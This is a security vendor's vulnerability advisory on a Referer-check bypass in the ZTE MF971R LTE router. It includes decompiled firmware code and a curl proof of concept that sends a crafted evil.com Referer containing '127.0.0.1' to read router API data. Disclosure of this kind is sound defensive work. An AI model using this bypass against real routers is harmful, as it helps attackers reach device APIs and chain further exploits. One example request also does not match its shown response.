Talos Vulnerability Report

TALOS-2021-1317

ZTE MF971R Referer authentication bypass vulnerability

October 18, 2021
CVE Number

CVE-2021-21745

Summary

An exploitable Referer mitigation bypass vulnerability exists in ZTE MF971R LTE router version wa_inner_version:BD_PLKPLMF971R1V1.0.0B06. A specially-crafted HTTP request can bypass Referer-based mitigation. An attacker needs to provide a URL to the victim to trigger the vulnerability.

Tested Versions

ZTE Corporation MF971R wa_inner_version:BD_LVWRGBMF971RV1.0.0B01
ZTE Corporation MF971R wa_inner_version:BD_PLKPLMF971R1V1.0.0B06
ZTE Corporation MF971R zte_topsw_goahead - MD5 B2176B393A97B5BA13791FC591D2BE3F
ZTE Corporation MF971R zte_topsw_goahead - MD5 bf5ada32c9e8c815bfd51bfb5b8391cb

Product URLs

https://www.ztedevices.com/pl/product/zte-mf971r/

CVSSv3 Score

4.7 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N

CWE

CWE-293 - Using Referer Field for Authentication

Details

MF971R is a portable router with Wi-Fi support and LTE/GSM modem.

This vulnerability is present in one of the functions responsible for restricting API communication related code, which is a part of the ZTE MF971R web applications. A specially-crafted URL sent by an attacker and visited by a victim can lead to Referer mitigation bypass, which allows the attacker further access to full API communication.

As an example, let’s take a look at a call to an API which returns the number of remaining login attemtps:

Request:

curl -i "http://192.168.2.1/goform/goform_get_cmd_process?cmd=network_type"

Response:

HTTP/1.1 200 OK
Server: WebServer-Webs
Pragma: no-cache
Cache-Control: no-store
Content-Type: text/html
X-Frame-Options: sameorigin
X-XSS-Protection: 1; mode=block

{"psw_fail_num_str":""}	

As we can see, the response is empty. Why does that happen? If we look at the implementation, there is a mitigation based on the Referer header.

Line 1	int __fastcall handler_goform_get_cmd_process(websRec *web, int a2, int a3)
Line 2	{
Line 3		(...)
Line 4		
Line 5		  if ( (!strcmp("ok", loggedin_flag) || cmd_exists == 1) && !referer_check_or_common_cmd(web, cmd) )
Line 6	  {	

The above code represents part of the goform_get_cmd_process API endpoint implementation. As we can see there, the if statment will be true if “user is logged in” or “cmd exists in predefined list” AND among the other Referers, header is set to a proper value. Let’s take a look at the implementation of the referer_check_or_common_cmd function.

Line 1 	int __fastcall referer_check_or_common_cmd(websRec *web, const char *cmd)
Line 2 	{
Line 3 	  int result; // r0
Line 4 	  int v5; // r4
Line 5 
Line 6 	  if ( referer_check(web) || (sub_1B8E0(web) & 0x200000) != 0 )
Line 7 		return 0;
Line 8 	  v5 = 0;
Line 9 	  while ( 1 )
Line 10	  {
Line 11		result = strcmp(off_5D09C[v5++], cmd);      // imei, wa_inner_version, integrate_version
Line 12		if ( !result )
Line 13		  break;
Line 14		if ( v5 == 3 )
Line 15		  return 1;
Line 16	  }
Line 17	  return result;
Line 18	}

Next, let’s take a look at the referer_check function called at line 6:

Line 1 	int __fastcall referer_check(websRec *web)
Line 2 	{
Line 3 	  int referer; // r0
Line 4 	  int v3; // r7
Line 5 	  const char *v4; // r5
Line 6 	  char s[88]; // [sp+10h] [bp-58h] BYREF
Line 7 
Line 8 	  memset(s, 0, 0x40u);
Line 9 	  referer = *(_DWORD *)&web->mime_type[24];     // Referer header
Line 10	  if ( (*(_DWORD *)&web->mime_type[38] & 0x8000) != 0 )
Line 11		v3 = 8;
Line 12	  else
Line 13		v3 = 7;
Line 14	  if ( referer )
Line 15	  {
Line 16		if ( strstr((const char *)referer, "127.0.0.1") )
Line 17		{
Line 18		  zte_syslog_append(6, 377417, 0xDF0, 0, "Referer is 127.0.0.1");
Line 19		}
Line 20		else
Line 21		{
Line 22		  snprintf(s, 0x40u, "%s/", *(const char **)&web->mime_type[6]);
Line 23		  v4 = *(const char **)&web->mime_type[24];
Line 24		  if ( strstr(v4, s) != &v4[v3] )
Line 25		  {
Line 26			zte_syslog_append(
Line 27			  6,
Line 28			  377417,
Line 29			  3579,
Line 30			  0,
Line 31			  "is_Refer_right referer = [%s], host=[%s]",
Line 32			  v4,
Line 33			  *(const char **)&web->mime_type[6]);
Line 34			return 0;
Line 35		  }
Line 36		}
Line 37		referer = 1;
Line 38	  }
Line 39	  return referer;
Line 40	}	

As we can see, the value of Referer header is obtained at line 9 . Instead of “strict checking” (strcmp, proper regex ,etc), the strstr function is used to check whether the Referer value contains the string “127.0.0.1” at line 16. That implementation is easy to bypass by an attacker. Attackers just needs to put the string “127.0.0.1” in any part of a URL, then redirect/trigger auto form to the proper API they want to call.

The vulnerability that allows the bypass of this mitigation can be used to exploit the vulnerabilities described in TALOS-2021-1318, TALOS-2021-1320 and TALOS-2021-1321.

Exploit Proof of Concept

curl -i --referer http://evil.com/127.0.0.1.html "http://192.168.2.1/goform/goform_get_cmd_process?cmd=psw_fail_num_str"
HTTP/1.1 200 OK
Server: WebServer-Webs
Pragma: no-cache
Cache-Control: no-store
Content-Type: text/html
X-Frame-Options: sameorigin
X-XSS-Protection: 1; mode=block

{"psw_fail_num_str":"5"}

Timeline

2021-06-15 - Vendor disclosure
2021-09-14 - Disclosure extension granted
2021-10-15 - Vendor patched
2021-10-18 - Public release

Credit

Discovered by Marcin 'Icewall' Noga of Cisco Talos.